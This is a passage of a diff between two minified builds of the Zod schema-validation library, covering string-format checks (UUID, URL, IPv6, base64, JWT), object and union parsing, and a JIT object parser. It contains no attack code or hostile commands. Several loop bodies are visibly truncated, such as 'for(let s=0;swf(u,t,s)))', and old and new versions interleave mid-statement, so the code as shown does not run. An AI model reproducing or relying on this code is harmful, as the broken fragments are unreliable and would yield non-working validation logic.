Set),o.patterns.add(e.pattern))}),e.pattern?(t=n._zod).check??(t.check=C=>{e.pattern.lastIndex=0,!e.pattern.test(C.value)&&C.issues.push({origin:"string",code:"invalid_format",format:e.format,input:C.value,...e.pattern?{pattern:e.pattern.toString()}:{},inst:n,continue:!e.abort})}):(i=n._zod).check??(i.check=()=>{})}),tO=F("$ZodCheckRegex",(n,e)=>{qo.init(n,e),n._zod.check=t=>{e.pattern.lastIndex=0,!e.pattern.test(t.value)&&t.issues.push({origin:"string",code:"invalid_format",format:"regex",input:t.value,pattern:e.pattern.toString(),inst:n,continue:!e.abort})}}),gO=F("$ZodCheckLowerCase",(n,e)=>{e.pattern??(e.pattern=QS),qo.init(n,e)}),iO=F("$ZodCheckUpperCase",(n,e)=>{e.pattern??(e.pattern=XS),qo.init(n,e)}),nO=F("$ZodCheckIncludes",(n,e)=>{tg.init(n,e);const t=TA(e.includes),i=new RegExp(typeof e.position=="number"?`^.{${e.position}}${t}`:t);e.pattern=i,n._zod.onattach.push(C=>{const o=C._zod.bag;o.patterns??(o.patterns=new Set),o.patterns.add(i)}),n._zod.check=C=>{C.value.includes(e.includes,e.position)||C.issues.push({origin:"string",code:"invalid_format",format:"includes",includes:e.includes,input:C.value,inst:n,continue:!e.abort})}}),AO=F("$ZodCheckStartsWith",(n,e)=>{tg.init(n,e);const t=new RegExp(`^${TA(e.prefix)}.*`);e.pattern??(e.pattern=t),n._zod.onattach.push(i=>{const C=i._zod.bag;C.patterns??(C.patterns=new Set),C.patterns.add(t)}),n._zod.check=i=>{i.value.startsWith(e.prefix)||i.issues.push({origin:"string",code:"invalid_format",format:"starts_with",prefix:e.prefix,input:i.value,inst:n,continue:!e.abort})}}),CO=F("$ZodCheckEndsWith",(n,e)=>{tg.init(n,e);const t=new RegExp(`.*${TA(e.suffix)}$`);e.pattern??(e.pattern=t),n._zod.onattach.push(i=>{const C=i._zod.bag;C.patterns??(C.patterns=new Set),C.patterns.add(t)}),n._zod.check=i=>{i.value.endsWith(e.suffix)||i.issues.push({origin:"string",code:"invalid_format",format:"ends_with",suffix:e.suffix,input:i.value,inst:n,continue:!e.abort})}}),IO=F("$ZodCheckOverwrite",(n,e)=>{tg.init(n,e),n._zod.check=t=>{t.value=e.tx(t.value)}});class oO{constructor(e=[]){this.content=[],this.indent=0,this&&(this.args=e)}indented(e){this.indent+=1,e(this),this.indent-=1}write(e){if(typeof e=="function"){e(this,{execution:"sync"}),e(this,{execution:"async"});return}const i=e.split(` `).filter(s=>s),C=Math.min(...i.map(s=>s.length-s.trimStart().length)),o=i.map(s=>s.slice(C)).map(s=>" ".repeat(this.indent*2)+s);for(const s of o)this.content.push(s)}compile(){const e=Function,t=this?.args,C=[...(this?.content??[""]).map(o=>` ${o}`)];return new e(...t,C.join(` -`))}}const IO={major:4,minor:4,patch:3},At=G("$ZodType",(n,e)=>{var t;n??(n={}),n._zod.def=e,n._zod.bag=n._zod.bag||{},n._zod.version=IO;const i=[...n._zod.def.checks??[]];n._zod.traits.has("$ZodCheck")&&i.unshift(n);for(const C of i)for(const o of C._zod.onattach)o(n);if(i.length===0)(t=n._zod).deferred??(t.deferred=[]),n._zod.deferred?.push(()=>{n._zod.run=n._zod.parse});else{const C=(s,a,l)=>{let u=SA(s),h;for(const p of a){if(p._zod.def.when){if(s2(s)||!p._zod.def.when(s))continue}else if(u)continue;const m=s.issues.length,v=p._zod.check(s);if(v instanceof Promise&&l?.async===!1)throw new wA;if(h||v instanceof Promise)h=(h??Promise.resolve()).then(async()=>{await v,s.issues.length!==m&&(u||(u=SA(s,m)))});else{if(s.issues.length===m)continue;u||(u=SA(s,m))}}return h?h.then(()=>s):s},o=(s,a,l)=>{if(SA(s))return s.aborted=!0,s;const u=C(a,i,l);if(u instanceof Promise){if(l.async===!1)throw new wA;return u.then(h=>n._zod.parse(h,l))}return n._zod.parse(u,l)};n._zod.run=(s,a)=>{if(a.skipChecks)return n._zod.parse(s,a);if(a.direction==="backward"){const u=n._zod.parse({value:s.value,issues:[]},{...a,skipChecks:!0});return u instanceof Promise?u.then(h=>o(h,s,a)):o(u,s,a)}const l=n._zod.parse(s,a);if(l instanceof Promise){if(a.async===!1)throw new wA;return l.then(u=>C(u,i,a))}return C(l,i,a)}}Ue(n,"~standard",()=>({validate:C=>{try{const o=l2(n,C);return o.success?{value:o.data}:{issues:o.error?.issues}}catch{return c2(n,C).then(s=>s.success?{value:s.data}:{issues:s.error?.issues})}},vendor:"zod",version:1}))}),Ja=G("$ZodString",(n,e)=>{At.init(n,e),n._zod.pattern=[...n?._zod.bag?.patterns??[]].pop()??V2(n._zod.bag),n._zod.parse=(t,i)=>{if(e.coerce)try{t.value=String(t.value)}catch{}return typeof t.value=="string"||t.issues.push({expected:"string",code:"invalid_type",input:t.value,inst:n}),t}}),gt=G("$ZodStringFormat",(n,e)=>{qo.init(n,e),Ja.init(n,e)}),oO=G("$ZodGUID",(n,e)=>{e.pattern??(e.pattern=N2),gt.init(n,e)}),sO=G("$ZodUUID",(n,e)=>{if(e.version){const i={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[e.version];if(i===void 0)throw new Error(`Invalid UUID version: "${e.version}"`);e.pattern??(e.pattern=cf(i))}else e.pattern??(e.pattern=cf());gt.init(n,e)}),rO=G("$ZodEmail",(n,e)=>{e.pattern??(e.pattern=D2),gt.init(n,e)}),aO=G("$ZodURL",(n,e)=>{gt.init(n,e),n._zod.check=t=>{try{const i=t.value.trim();if(!e.normalize&&e.protocol?.source===P2.source&&!/^https?:\/\//i.test(i)){t.issues.push({code:"invalid_format",format:"url",note:"Invalid URL format",input:t.value,inst:n,continue:!e.abort});return}const C=new URL(i);e.hostname&&(e.hostname.lastIndex=0,e.hostname.test(C.hostname)||t.issues.push({code:"invalid_format",format:"url",note:"Invalid hostname",pattern:e.hostname.source,input:t.value,inst:n,continue:!e.abort})),e.protocol&&(e.protocol.lastIndex=0,e.protocol.test(C.protocol.endsWith(":")?C.protocol.slice(0,-1):C.protocol)||t.issues.push({code:"invalid_format",format:"url",note:"Invalid protocol",pattern:e.protocol.source,input:t.value,inst:n,continue:!e.abort})),e.normalize?t.value=C.href:t.value=i;return}catch{t.issues.push({code:"invalid_format",format:"url",input:t.value,inst:n,continue:!e.abort})}}}),lO=G("$ZodEmoji",(n,e)=>{e.pattern??(e.pattern=R2()),gt.init(n,e)}),cO=G("$ZodNanoID",(n,e)=>{e.pattern??(e.pattern=O2),gt.init(n,e)}),uO=G("$ZodCUID",(n,e)=>{e.pattern??(e.pattern=b2),gt.init(n,e)}),dO=G("$ZodCUID2",(n,e)=>{e.pattern??(e.pattern=w2),gt.init(n,e)}),hO=G("$ZodULID",(n,e)=>{e.pattern??(e.pattern=E2),gt.init(n,e)}),fO=G("$ZodXID",(n,e)=>{e.pattern??(e.pattern=T2),gt.init(n,e)}),pO=G("$ZodKSUID",(n,e)=>{e.pattern??(e.pattern=S2),gt.init(n,e)}),mO=G("$ZodISODateTime",(n,e)=>{e.pattern??(e.pattern=F2(e)),gt.init(n,e)}),vO=G("$ZodISODate",(n,e)=>{e.pattern??(e.pattern=L2),gt.init(n,e)}),yO=G("$ZodISOTime",(n,e)=>{e.pattern??(e.pattern=G2(e)),gt.init(n,e)}),bO=G("$ZodISODuration",(n,e)=>{e.pattern??(e.pattern=x2),gt.init(n,e)}),wO=G("$ZodIPv4",(n,e)=>{e.pattern??(e.pattern=M2),gt.init(n,e),n._zod.bag.format="ipv4"}),EO=G("$ZodIPv6",(n,e)=>{e.pattern??(e.pattern=_2),gt.init(n,e),n._zod.bag.format="ipv6",n._zod.check=t=>{try{new URL(`http://[${t.value}]`)}catch{t.issues.push({code:"invalid_format",format:"ipv6",input:t.value,inst:n,continue:!e.abort})}}}),TO=G("$ZodCIDRv4",(n,e)=>{e.pattern??(e.pattern=k2),gt.init(n,e)}),SO=G("$ZodCIDRv6",(n,e)=>{e.pattern??(e.pattern=Z2),gt.init(n,e),n._zod.check=t=>{const i=t.value.split("/");try{if(i.length!==2)throw new Error;const[C,o]=i;if(!o)throw new Error;const s=Number(o);if(`${s}`!==o)throw new Error;if(s<0||s>128)throw new Error;new URL(`http://[${C}]`)}catch{t.issues.push({code:"invalid_format",format:"cidrv6",input:t.value,inst:n,continue:!e.abort})}}});function yf(n){if(n==="")return!0;if(/\s/.test(n)||n.length%4!==0)return!1;try{return atob(n),!0}catch{return!1}}const OO=G("$ZodBase64",(n,e)=>{e.pattern??(e.pattern=B2),gt.init(n,e),n._zod.bag.contentEncoding="base64",n._zod.check=t=>{yf(t.value)||t.issues.push({code:"invalid_format",format:"base64",input:t.value,inst:n,continue:!e.abort})}});function xO(n){if(!uf.test(n))return!1;const e=n.replace(/[-_]/g,i=>i==="-"?"+":"/"),t=e.padEnd(Math.ceil(e.length/4)*4,"=");return yf(t)}const NO=G("$ZodBase64URL",(n,e)=>{e.pattern??(e.pattern=uf),gt.init(n,e),n._zod.bag.contentEncoding="base64url",n._zod.check=t=>{xO(t.value)||t.issues.push({code:"invalid_format",format:"base64url",input:t.value,inst:n,continue:!e.abort})}}),DO=G("$ZodE164",(n,e)=>{e.pattern??(e.pattern=j2),gt.init(n,e)});function zO(n,e=null){try{const t=n.split(".");if(t.length!==3)return!1;const[i]=t;if(!i)return!1;const C=JSON.parse(atob(i));return!("typ"in C&&C?.typ!=="JWT"||!C.alg||e&&(!("alg"in C)||C.alg!==e))}catch{return!1}}const RO=G("$ZodJWT",(n,e)=>{gt.init(n,e),n._zod.check=t=>{zO(t.value,e.alg)||t.issues.push({code:"invalid_format",format:"jwt",input:t.value,inst:n,continue:!e.abort})}}),bf=G("$ZodNumber",(n,e)=>{At.init(n,e),n._zod.pattern=n._zod.bag.pattern??ff,n._zod.parse=(t,i)=>{if(e.coerce)try{t.value=Number(t.value)}catch{}const C=t.value;if(typeof C=="number"&&!Number.isNaN(C)&&Number.isFinite(C))return t;const o=typeof C=="number"?Number.isNaN(C)?"NaN":Number.isFinite(C)?void 0:"Infinity":void 0;return t.issues.push({expected:"number",code:"invalid_type",input:C,inst:n,...o?{received:o}:{}}),t}}),MO=G("$ZodNumberFormat",(n,e)=>{X2.init(n,e),bf.init(n,e)}),_O=G("$ZodBoolean",(n,e)=>{At.init(n,e),n._zod.pattern=U2,n._zod.parse=(t,i)=>{if(e.coerce)try{t.value=!!t.value}catch{}const C=t.value;return typeof C=="boolean"||t.issues.push({expected:"boolean",code:"invalid_type",input:C,inst:n}),t}}),kO=G("$ZodUnknown",(n,e)=>{At.init(n,e),n._zod.parse=t=>t}),ZO=G("$ZodNever",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>(t.issues.push({expected:"never",code:"invalid_type",input:t.value,inst:n}),t)});function wf(n,e,t){n.issues.length&&e.issues.push(...OA(t,n.issues)),e.value[t]=n.value}const BO=G("$ZodArray",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>{const C=t.value;if(!Array.isArray(C))return t.issues.push({expected:"array",code:"invalid_type",input:C,inst:n}),t;t.value=Array(C.length);const o=[];for(let s=0;swf(u,t,s))):wf(l,t,s)}return o.length?Promise.all(o).then(()=>t):t}});function Jo(n,e,t,i,C,o){const s=t in i;if(n.issues.length){if(C&&o&&!s)return;e.issues.push(...OA(t,n.issues))}if(!s&&!C){n.issues.length||e.issues.push({code:"invalid_type",expected:"nonoptional",input:void 0,path:[t]});return}n.value===void 0?s&&(e.value[t]=void 0):e.value[t]=n.value}function Ef(n){const e=Object.keys(n.shape);for(const i of e)if(!n.shape?.[i]?._zod?.traits?.has("$ZodType"))throw new Error(`Invalid element at key "${i}": expected a Zod schema`);const t=e2(n.shape);return{...n,keys:e,keySet:new Set(e),numKeys:e.length,optionalKeys:new Set(t)}}function Tf(n,e,t,i,C,o){const s=[],a=C.keySet,l=C.catchall._zod,u=l.def.type,h=l.optin==="optional",p=l.optout==="optional";for(const m in e){if(m==="__proto__"||a.has(m))continue;if(u==="never"){s.push(m);continue}const v=l.run({value:e[m],issues:[]},i);v instanceof Promise?n.push(v.then(w=>Jo(w,t,m,e,h,p))):Jo(v,t,m,e,h,p)}return s.length&&t.issues.push({code:"unrecognized_keys",keys:s,input:e,inst:o}),n.length?Promise.all(n).then(()=>t):t}const PO=G("$ZodObject",(n,e)=>{if(At.init(n,e),!Object.getOwnPropertyDescriptor(e,"shape")?.get){const a=e.shape;Object.defineProperty(e,"shape",{get:()=>{const l={...a};return Object.defineProperty(e,"shape",{value:l}),l}})}const i=Ha(()=>Ef(e));Ue(n._zod,"propValues",()=>{const a=e.shape,l={};for(const u in a){const h=a[u]._zod;if(h.values){l[u]??(l[u]=new Set);for(const p of h.values)l[u].add(p)}}return l});const C=Ko,o=e.catchall;let s;n._zod.parse=(a,l)=>{s??(s=i.value);const u=a.value;if(!C(u))return a.issues.push({expected:"object",code:"invalid_type",input:u,inst:n}),a;a.value={};const h=[],p=s.shape;for(const m of s.keys){const v=p[m],w=v._zod.optin==="optional",N=v._zod.optout==="optional",x=v._zod.run({value:u[m],issues:[]},l);x instanceof Promise?h.push(x.then(D=>Jo(D,a,m,u,w,N))):Jo(x,a,m,u,w,N)}return o?Tf(h,u,a,l,i.value,n):h.length?Promise.all(h).then(()=>a):a}}),jO=G("$ZodObjectJIT",(n,e)=>{PO.init(n,e);const t=n._zod.parse,i=Ha(()=>Ef(e)),C=m=>{const v=new CO(["shape","payload","ctx"]),w=i.value,N=V=>{const L=If(V);return`shape[${L}]._zod.run({ value: input[${L}], issues: [] }, ctx)`};v.write("const input = payload.value;");const x=Object.create(null);let D=0;for(const V of w.keys)x[V]=`key_${D++}`;v.write("const newResult = {};");for(const V of w.keys){const L=x[V],Q=If(V),ne=m[V],J=ne?._zod?.optin==="optional",le=ne?._zod?.optout==="optional";v.write(`const ${L} = ${N(V)};`),J&&le?v.write(` - if (${L}.issues.length) { - if (${Q} in input) { - payload.issues = payload.issues.concat(${L}.issues.map(iss => ({ +`))}}const sO={major:4,minor:4,patch:3},At=F("$ZodType",(n,e)=>{var t;n??(n={}),n._zod.def=e,n._zod.bag=n._zod.bag||{},n._zod.version=sO;const i=[...n._zod.def.checks??[]];n._zod.traits.has("$ZodCheck")&&i.unshift(n);for(const C of i)for(const o of C._zod.onattach)o(n);if(i.length===0)(t=n._zod).deferred??(t.deferred=[]),n._zod.deferred?.push(()=>{n._zod.run=n._zod.parse});else{const C=(s,a,l)=>{let u=SA(s),h;for(const p of a){if(p._zod.def.when){if(aS(s)||!p._zod.def.when(s))continue}else if(u)continue;const m=s.issues.length,v=p._zod.check(s);if(v instanceof Promise&&l?.async===!1)throw new wA;if(h||v instanceof Promise)h=(h??Promise.resolve()).then(async()=>{await v,s.issues.length!==m&&(u||(u=SA(s,m)))});else{if(s.issues.length===m)continue;u||(u=SA(s,m))}}return h?h.then(()=>s):s},o=(s,a,l)=>{if(SA(s))return s.aborted=!0,s;const u=C(a,i,l);if(u instanceof Promise){if(l.async===!1)throw new wA;return u.then(h=>n._zod.parse(h,l))}return n._zod.parse(u,l)};n._zod.run=(s,a)=>{if(a.skipChecks)return n._zod.parse(s,a);if(a.direction==="backward"){const u=n._zod.parse({value:s.value,issues:[]},{...a,skipChecks:!0});return u instanceof Promise?u.then(h=>o(h,s,a)):o(u,s,a)}const l=n._zod.parse(s,a);if(l instanceof Promise){if(a.async===!1)throw new wA;return l.then(u=>C(u,i,a))}return C(l,i,a)}}Ye(n,"~standard",()=>({validate:C=>{try{const o=uS(n,C);return o.success?{value:o.data}:{issues:o.error?.issues}}catch{return dS(n,C).then(s=>s.success?{value:s.data}:{issues:s.error?.issues})}},vendor:"zod",version:1}))}),Ja=F("$ZodString",(n,e)=>{At.init(n,e),n._zod.pattern=[...n?._zod.bag?.patterns??[]].pop()??US(n._zod.bag),n._zod.parse=(t,i)=>{if(e.coerce)try{t.value=String(t.value)}catch{}return typeof t.value=="string"||t.issues.push({expected:"string",code:"invalid_type",input:t.value,inst:n}),t}}),gt=F("$ZodStringFormat",(n,e)=>{qo.init(n,e),Ja.init(n,e)}),rO=F("$ZodGUID",(n,e)=>{e.pattern??(e.pattern=zS),gt.init(n,e)}),aO=F("$ZodUUID",(n,e)=>{if(e.version){const i={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[e.version];if(i===void 0)throw new Error(`Invalid UUID version: "${e.version}"`);e.pattern??(e.pattern=cf(i))}else e.pattern??(e.pattern=cf());gt.init(n,e)}),lO=F("$ZodEmail",(n,e)=>{e.pattern??(e.pattern=RS),gt.init(n,e)}),cO=F("$ZodURL",(n,e)=>{gt.init(n,e),n._zod.check=t=>{try{const i=t.value.trim();if(!e.normalize&&e.protocol?.source===LS.source&&!/^https?:\/\//i.test(i)){t.issues.push({code:"invalid_format",format:"url",note:"Invalid URL format",input:t.value,inst:n,continue:!e.abort});return}const C=new URL(i);e.hostname&&(e.hostname.lastIndex=0,e.hostname.test(C.hostname)||t.issues.push({code:"invalid_format",format:"url",note:"Invalid hostname",pattern:e.hostname.source,input:t.value,inst:n,continue:!e.abort})),e.protocol&&(e.protocol.lastIndex=0,e.protocol.test(C.protocol.endsWith(":")?C.protocol.slice(0,-1):C.protocol)||t.issues.push({code:"invalid_format",format:"url",note:"Invalid protocol",pattern:e.protocol.source,input:t.value,inst:n,continue:!e.abort})),e.normalize?t.value=C.href:t.value=i;return}catch{t.issues.push({code:"invalid_format",format:"url",input:t.value,inst:n,continue:!e.abort})}}}),uO=F("$ZodEmoji",(n,e)=>{e.pattern??(e.pattern=_S()),gt.init(n,e)}),dO=F("$ZodNanoID",(n,e)=>{e.pattern??(e.pattern=NS),gt.init(n,e)}),hO=F("$ZodCUID",(n,e)=>{e.pattern??(e.pattern=ES),gt.init(n,e)}),fO=F("$ZodCUID2",(n,e)=>{e.pattern??(e.pattern=TS),gt.init(n,e)}),pO=F("$ZodULID",(n,e)=>{e.pattern??(e.pattern=SS),gt.init(n,e)}),mO=F("$ZodXID",(n,e)=>{e.pattern??(e.pattern=OS),gt.init(n,e)}),vO=F("$ZodKSUID",(n,e)=>{e.pattern??(e.pattern=xS),gt.init(n,e)}),yO=F("$ZodISODateTime",(n,e)=>{e.pattern??(e.pattern=YS(e)),gt.init(n,e)}),bO=F("$ZodISODate",(n,e)=>{e.pattern??(e.pattern=FS),gt.init(n,e)}),wO=F("$ZodISOTime",(n,e)=>{e.pattern??(e.pattern=VS(e)),gt.init(n,e)}),EO=F("$ZodISODuration",(n,e)=>{e.pattern??(e.pattern=DS),gt.init(n,e)}),TO=F("$ZodIPv4",(n,e)=>{e.pattern??(e.pattern=kS),gt.init(n,e),n._zod.bag.format="ipv4"}),SO=F("$ZodIPv6",(n,e)=>{e.pattern??(e.pattern=ZS),gt.init(n,e),n._zod.bag.format="ipv6",n._zod.check=t=>{try{new URL(`http://[${t.value}]`)}catch{t.issues.push({code:"invalid_format",format:"ipv6",input:t.value,inst:n,continue:!e.abort})}}}),OO=F("$ZodCIDRv4",(n,e)=>{e.pattern??(e.pattern=BS),gt.init(n,e)}),xO=F("$ZodCIDRv6",(n,e)=>{e.pattern??(e.pattern=PS),gt.init(n,e),n._zod.check=t=>{const i=t.value.split("/");try{if(i.length!==2)throw new Error;const[C,o]=i;if(!o)throw new Error;const s=Number(o);if(`${s}`!==o)throw new Error;if(s<0||s>128)throw new Error;new URL(`http://[${C}]`)}catch{t.issues.push({code:"invalid_format",format:"cidrv6",input:t.value,inst:n,continue:!e.abort})}}});function yf(n){if(n==="")return!0;if(/\s/.test(n)||n.length%4!==0)return!1;try{return atob(n),!0}catch{return!1}}const NO=F("$ZodBase64",(n,e)=>{e.pattern??(e.pattern=jS),gt.init(n,e),n._zod.bag.contentEncoding="base64",n._zod.check=t=>{yf(t.value)||t.issues.push({code:"invalid_format",format:"base64",input:t.value,inst:n,continue:!e.abort})}});function DO(n){if(!uf.test(n))return!1;const e=n.replace(/[-_]/g,i=>i==="-"?"+":"/"),t=e.padEnd(Math.ceil(e.length/4)*4,"=");return yf(t)}const zO=F("$ZodBase64URL",(n,e)=>{e.pattern??(e.pattern=uf),gt.init(n,e),n._zod.bag.contentEncoding="base64url",n._zod.check=t=>{DO(t.value)||t.issues.push({code:"invalid_format",format:"base64url",input:t.value,inst:n,continue:!e.abort})}}),RO=F("$ZodE164",(n,e)=>{e.pattern??(e.pattern=GS),gt.init(n,e)});function MO(n,e=null){try{const t=n.split(".");if(t.length!==3)return!1;const[i]=t;if(!i)return!1;const C=JSON.parse(atob(i));return!("typ"in C&&C?.typ!=="JWT"||!C.alg||e&&(!("alg"in C)||C.alg!==e))}catch{return!1}}const _O=F("$ZodJWT",(n,e)=>{gt.init(n,e),n._zod.check=t=>{MO(t.value,e.alg)||t.issues.push({code:"invalid_format",format:"jwt",input:t.value,inst:n,continue:!e.abort})}}),bf=F("$ZodNumber",(n,e)=>{At.init(n,e),n._zod.pattern=n._zod.bag.pattern??ff,n._zod.parse=(t,i)=>{if(e.coerce)try{t.value=Number(t.value)}catch{}const C=t.value;if(typeof C=="number"&&!Number.isNaN(C)&&Number.isFinite(C))return t;const o=typeof C=="number"?Number.isNaN(C)?"NaN":Number.isFinite(C)?void 0:"Infinity":void 0;return t.issues.push({expected:"number",code:"invalid_type",input:C,inst:n,...o?{received:o}:{}}),t}}),kO=F("$ZodNumberFormat",(n,e)=>{qS.init(n,e),bf.init(n,e)}),ZO=F("$ZodBoolean",(n,e)=>{At.init(n,e),n._zod.pattern=KS,n._zod.parse=(t,i)=>{if(e.coerce)try{t.value=!!t.value}catch{}const C=t.value;return typeof C=="boolean"||t.issues.push({expected:"boolean",code:"invalid_type",input:C,inst:n}),t}}),BO=F("$ZodUnknown",(n,e)=>{At.init(n,e),n._zod.parse=t=>t}),PO=F("$ZodNever",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>(t.issues.push({expected:"never",code:"invalid_type",input:t.value,inst:n}),t)});function wf(n,e,t){n.issues.length&&e.issues.push(...OA(t,n.issues)),e.value[t]=n.value}const jO=F("$ZodArray",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>{const C=t.value;if(!Array.isArray(C))return t.issues.push({expected:"array",code:"invalid_type",input:C,inst:n}),t;t.value=Array(C.length);const o=[];for(let s=0;swf(u,t,s))):wf(l,t,s)}return o.length?Promise.all(o).then(()=>t):t}});function Jo(n,e,t,i,C,o){const s=t in i;if(n.issues.length){if(C&&o&&!s)return;e.issues.push(...OA(t,n.issues))}if(!s&&!C){n.issues.length||e.issues.push({code:"invalid_type",expected:"nonoptional",input:void 0,path:[t]});return}n.value===void 0?s&&(e.value[t]=void 0):e.value[t]=n.value}function Ef(n){const e=Object.keys(n.shape);for(const i of e)if(!n.shape?.[i]?._zod?.traits?.has("$ZodType"))throw new Error(`Invalid element at key "${i}": expected a Zod schema`);const t=gS(n.shape);return{...n,keys:e,keySet:new Set(e),numKeys:e.length,optionalKeys:new Set(t)}}function Tf(n,e,t,i,C,o){const s=[],a=C.keySet,l=C.catchall._zod,u=l.def.type,h=l.optin==="optional",p=l.optout==="optional";for(const m in e){if(m==="__proto__"||a.has(m))continue;if(u==="never"){s.push(m);continue}const v=l.run({value:e[m],issues:[]},i);v instanceof Promise?n.push(v.then(w=>Jo(w,t,m,e,h,p))):Jo(v,t,m,e,h,p)}return s.length&&t.issues.push({code:"unrecognized_keys",keys:s,input:e,inst:o}),n.length?Promise.all(n).then(()=>t):t}const LO=F("$ZodObject",(n,e)=>{if(At.init(n,e),!Object.getOwnPropertyDescriptor(e,"shape")?.get){const a=e.shape;Object.defineProperty(e,"shape",{get:()=>{const l={...a};return Object.defineProperty(e,"shape",{value:l}),l}})}const i=Ha(()=>Ef(e));Ye(n._zod,"propValues",()=>{const a=e.shape,l={};for(const u in a){const h=a[u]._zod;if(h.values){l[u]??(l[u]=new Set);for(const p of h.values)l[u].add(p)}}return l});const C=Ko,o=e.catchall;let s;n._zod.parse=(a,l)=>{s??(s=i.value);const u=a.value;if(!C(u))return a.issues.push({expected:"object",code:"invalid_type",input:u,inst:n}),a;a.value={};const h=[],p=s.shape;for(const m of s.keys){const v=p[m],w=v._zod.optin==="optional",D=v._zod.optout==="optional",N=v._zod.run({value:u[m],issues:[]},l);N instanceof Promise?h.push(N.then(z=>Jo(z,a,m,u,w,D))):Jo(N,a,m,u,w,D)}return o?Tf(h,u,a,l,i.value,n):h.length?Promise.all(h).then(()=>a):a}}),GO=F("$ZodObjectJIT",(n,e)=>{LO.init(n,e);const t=n._zod.parse,i=Ha(()=>Ef(e)),C=m=>{const v=new oO(["shape","payload","ctx"]),w=i.value,D=Y=>{const j=If(Y);return`shape[${j}]._zod.run({ value: input[${j}], issues: [] }, ctx)`};v.write("const input = payload.value;");const N=Object.create(null);let z=0;for(const Y of w.keys)N[Y]=`key_${z++}`;v.write("const newResult = {};");for(const Y of w.keys){const j=N[Y],K=If(Y),Ae=m[Y],q=Ae?._zod?.optin==="optional",re=Ae?._zod?.optout==="optional";v.write(`const ${j} = ${D(Y)};`),q&&re?v.write(` + if (${j}.issues.length) { + if (${K} in input) { + payload.issues = payload.issues.concat(${j}.issues.map(iss => ({ ...iss, - path: iss.path ? [${Q}, ...iss.path] : [${Q}] + path: iss.path ? [${K}, ...iss.path] : [${K}] }))); } } - if (${L}.value === undefined) { - if (${Q} in input) { - newResult[${Q}] = undefined; + if (${j}.value === undefined) { + if (${K} in input) { + newResult[${K}] = undefined; } } else { - newResult[${Q}] = ${L}.value; + newResult[${K}] = ${j}.value; } - `):J?v.write(` - if (${L}.issues.length) { - payload.issues = payload.issues.concat(${L}.issues.map(iss => ({ + `):q?v.write(` + if (${j}.issues.length) { + payload.issues = payload.issues.concat(${j}.issues.map(iss => ({ ...iss, - path: iss.path ? [${Q}, ...iss.path] : [${Q}] + path: iss.path ? [${K}, ...iss.path] : [${K}] }))); } - if (${L}.value === undefined) { - if (${Q} in input) { - newResult[${Q}] = undefined; + if (${j}.value === undefined) { + if (${K} in input) { + newResult[${K}] = undefined; } } else { - newResult[${Q}] = ${L}.value; + newResult[${K}] = ${j}.value; } `):v.write(` - const ${L}_present = ${Q} in input; - if (${L}.issues.length) { - payload.issues = payload.issues.concat(${L}.issues.map(iss => ({ + const ${j}_present = ${K} in input; + if (${j}.issues.length) { + payload.issues = payload.issues.concat(${j}.issues.map(iss => ({ ...iss, - path: iss.path ? [${Q}, ...iss.path] : [${Q}] + path: iss.path ? [${K}, ...iss.path] : [${K}] }))); } - if (!${L}_present && !${L}.issues.length) { + if (!${j}_present && !${j}.issues.length) { payload.issues.push({ code: "invalid_type", expected: "nonoptional", input: undefined, - path: [${Q}] + path: [${K}] }); } - if (${L}_present) { - if (${L}.value === undefined) { - newResult[${Q}] = undefined; + if (${j}_present) { + if (${j}.value === undefined) { + newResult[${K}] = undefined; } else { - newResult[${Q}] = ${L}.value; + newResult[${K}] = ${j}.value; } } - `)}v.write("payload.value = newResult;"),v.write("return payload;");const k=v.compile();return(V,L)=>k(m,V,L)};let o;const s=Ko,a=!Ya.jitless,u=a&&JS.value,h=e.catchall;let p;n._zod.parse=(m,v)=>{p??(p=i.value);const w=m.value;return s(w)?a&&u&&v?.async===!1&&v.jitless!==!0?(o||(o=C(e.shape)),m=o(m,v),h?Tf([],w,m,v,p,n):m):t(m,v):(m.issues.push({expected:"object",code:"invalid_type",input:w,inst:n}),m)}});function Sf(n,e,t,i){for(const o of n)if(o.issues.length===0)return e.value=o.value,e;const C=n.filter(o=>!SA(o));return C.length===1?(e.value=C[0].value,C[0]):(e.issues.push({code:"invalid_union",input:e.value,inst:t,errors:n.map(o=>o.issues.map(s=>fi(s,i,hi())))}),e)}const LO=G("$ZodUnion",(n,e)=>{At.init(n,e),Ue(n._zod,"optin",()=>e.options.some(i=>i._zod.optin==="optional")?"optional":void 0),Ue(n._zod,"optout",()=>e.options.some(i=>i._zod.optout==="optional")?"optional":void 0),Ue(n._zod,"values",()=>{if(e.options.every(i=>i._zod.values))return new Set(e.options.flatMap(i=>Array.from(i._zod.values)))}),Ue(n._zod,"pattern",()=>{if(e.options.every(i=>i._zod.pattern)){const i=e.options.map(C=>C._zod.pattern);return new RegExp(`^(${i.map(C=>Qa(C.source)).join("|")})$`)}});const t=e.options.length===1?e.options[0]._zod.run:null;n._zod.parse=(i,C)=>{if(t)return t(i,C);let o=!1;const s=[];for(const a of e.options){const l=a._zod.run({value:i.value,issues:[]},C);if(l instanceof Promise)s.push(l),o=!0;else{if(l.issues.length===0)return l;s.push(l)}}return o?Promise.all(s).then(a=>Sf(a,i,n,C)):Sf(s,i,n,C)}}),GO=G("$ZodIntersection",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>{const C=t.value,o=e.left._zod.run({value:C,issues:[]},i),s=e.right._zod.run({value:C,issues:[]},i);return o instanceof Promise||s instanceof Promise?Promise.all([o,s]).then(([l,u])=>Of(t,l,u)):Of(t,o,s)}});function $a(n,e){if(n===e)return{valid:!0,data:n};if(n instanceof Date&&e instanceof Date&&+n==+e)return{valid:!0,data:n};if(EA(n)&&EA(e)){const t=Object.keys(e),i=Object.keys(n).filter(o=>t.indexOf(o)!==-1),C={...n,...e};for(const o of i){const s=$a(n[o],e[o]);if(!s.valid)return{valid:!1,mergeErrorPath:[o,...s.mergeErrorPath]};C[o]=s.data}return{valid:!0,data:C}}if(Array.isArray(n)&&Array.isArray(e)){if(n.length!==e.length)return{valid:!1,mergeErrorPath:[]};const t=[];for(let i=0;ia.l&&a.r).map(([a])=>a);if(o.length&&C&&n.issues.push({...C,keys:o}),SA(n))return n;const s=$a(e.value,t.value);if(!s.valid)throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(s.mergeErrorPath)}`);return 